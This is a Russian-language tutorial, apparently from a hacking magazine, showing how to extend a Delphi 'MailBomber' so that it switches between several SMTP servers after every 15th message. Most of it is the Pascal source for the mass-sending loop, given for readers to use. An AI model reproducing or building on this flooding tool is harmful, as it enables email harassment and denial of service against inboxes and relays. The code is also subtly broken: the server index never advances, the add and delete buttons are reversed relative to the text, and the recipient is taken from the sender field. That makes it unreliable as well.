Снова привет! Сейчас я расскажу, как
сделать так, чтобы вы в MailBomber (из предыдущей
статьи) могли добавлять несколько smtp
серверов, которые бы он поочередно менял
после каждого 15 письма. Итак, откроем наш
предыдущий исходник и добавляем:

ComboBox (c панели Standart), 2 кнопки типа Button.
Удаляем: Edit2. Пусть: СomboBox1 будет “почтовый
сервер” (напишем это в Object Inspector-> СomboBox1->
Properties-> Text). Button2 будет удалять выбранный stmp
сервер (что-то пишем в Object Inspector->Button2->
Properties->Caption). Button3 будет добавлять
написанный в поле СomboBox1 stmp сервер (что-то
пишем в Object Inspector->Button3-> Properties->Caption).

Пишем код.

В var’е изменяем строку “ kolvo: integer; “ на “
kolvo,n,serv: integer;”. N-будет счетчик, который
будет отслеживать 15-тые письма, а SERV-номер
smtp сервера в списке. А остальной код будет
вот каким(я буду комментировать только
новые элементы):

procedure TForm1.Button1Click(Sender: TObject);
begin
button1.enabled:=false;
//Обнуляем
kolvo:=0;
serv:=0;
n:=0;
NMSMTP1.Port:= 25;
NMSMTP1.UserID:='vasya';
while kolvo<>(StrToInt(Edit5.text)) do
begin
kolvo:= kolvo+1;
//запуск счетчика
n:=n+1;
//если 15-ое
if (n=15) then
//если номер установленного сервера <количества
строк в ComboBox1
if (serv<ComboBox1.Items.Count)then
begin
//следующий сервер и обнуляем счетчик
NMSMTP1.Host:= ComboBox1.Items[serv+1];
n:=0;
end
//иначе
else
begin
//в исходную позицию
serv:=0;
NMSMTP1.Host:= ComboBox1.Items[serv];
end;
//оставляем в покое
if n<>15 then NMSMTP1.Host:= ComboBox1.Items[serv];
//проверяем подключение
if NMSMTP1.Connected=false then NMSMTP1.Connect;
NMSMTP1.PostMessage.FromAddress:= Edit1.text;
NMSMTP1.PostMessage.FromName:= Edit4.text;
NMSMTP1.PostMessage.ToAddress.Add(Edit1.text);
NMSMTP1.PostMessage.Body.Clear;
Memo1.Lines.Delete(1);
Memo1.Lines.Insert(1,Edit3.text+'#'+(intTostr(kolvo)));
NMSMTP1.PostMessage.Body.AddStrings(Memo1.Lines);
NMSMTP1.PostMessage.Subject:= Edit6.text+' '+'#'+IntToStr(kolvo);
NMSMTP1.PostMessage.LocalProgram:= Edit7.text;
NMSMTP1.SendMail;
if kolvo=StrToInt(Edit5.text) then
begin
ShowMessage('Отправленно сообщений: '+ Edit5.text);
button1.enabled:=true;
NMSMTP1.Disconnect;
end;
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
//добавляем в список
ComboBox1.Items.Add(ComboBox1.text);
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
//удаляем выбранное
ComboBox1.Items.Delete(ComboBox1.ItemIndex);
end;
end.

Вот и все!

Теги:

Check Also

Исходный кот. Как заставить нейронную сеть ошибиться

Нейросети теперь повсюду, и распознавание объектов на картинках — это одно из самых популя…

Оставить мнение